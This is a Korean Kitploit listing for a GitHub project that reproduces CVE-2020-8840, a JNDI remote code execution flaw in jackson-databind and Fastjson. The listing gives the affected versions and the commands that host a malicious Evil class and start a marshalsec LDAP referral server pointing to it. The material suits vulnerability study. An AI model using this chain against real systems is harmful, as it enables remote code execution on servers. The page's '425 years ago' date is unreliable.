Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-8840 — Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840) 분석 재현 환경 코드 | Kitploit
도구/GitHubGitHub/veraxy00/cve-2020-8840
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubveraxy00/cve-2020-8840

CVE-2020-8840

Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840) 분석 재현 환경 코드

저장소 보기
425년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-8840

Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840) 분석 및 재현 환경 코드.

프로젝트 포함:

  • jackson-databind, Fastjson의 페이로드
  • WebServer 악성 클래스
  • 컴파일된 marshalsec-0.0.3-SNAPSHOT-all.jar

취약점 개요

Jackson-databind 원격 코드 실행 취약점 (CVE-2020-8840)은 공격자가 xbean-reflect의 이용 체인(org.apache.xbean.propertyeditor.JndiConverter)을 활용하여 JNDI 원격 클래스 로딩을 트리거함으로써 원격 코드 실행을 달성할 수 있습니다.

이 취약점은 일부 버전의 jackson-databind와 Fastjson에도 영향을 미칩니다.

jackson-databind

영향 범위: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

간단한 환경 구축

예제 코드에서 가리키는 LDAP 서비스는 직접 구축해야 합니다.

WebServer

HTTP 서비스를 열고 악성 클래스를 호스팅합니다 (프로젝트에 Evil.java 클래스가 포함되어 있음)

root@kitploit:~
python -m http.server 2222

LDAP 서비스

Marshalsec 도구를 다운로드하여 jar로 컴파일하고, LDAP 서비스를 시작하며, codebase 주소(악성 클래스를 호스팅하는 WebServer)를 설정합니다.

편의를 위해 다운로드 및 컴파일 과정을 생략하고, 프로젝트에 marshalsec-0.0.3-SNAPSHOT-all.jar를 포함했습니다 (프로젝트 코드는 많지 않지만, 용량이 큰 주된 이유이며 JDK8에서 컴파일되었습니다).

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Fastjson

영향 범위: Fastjson <= 1.2.62

재현 환경은 위와 동일하며, WebServer와 LDAP 서비스를 직접 구축 및 시작해야 합니다.

참고

  • https://github.com/FasterXML/jackson-databind
  • https://github.com/FasterXML/jackson-databind/issues/2620
  • https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
  • https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
  • https://github.com/alibaba/fastjson
도구 다운로드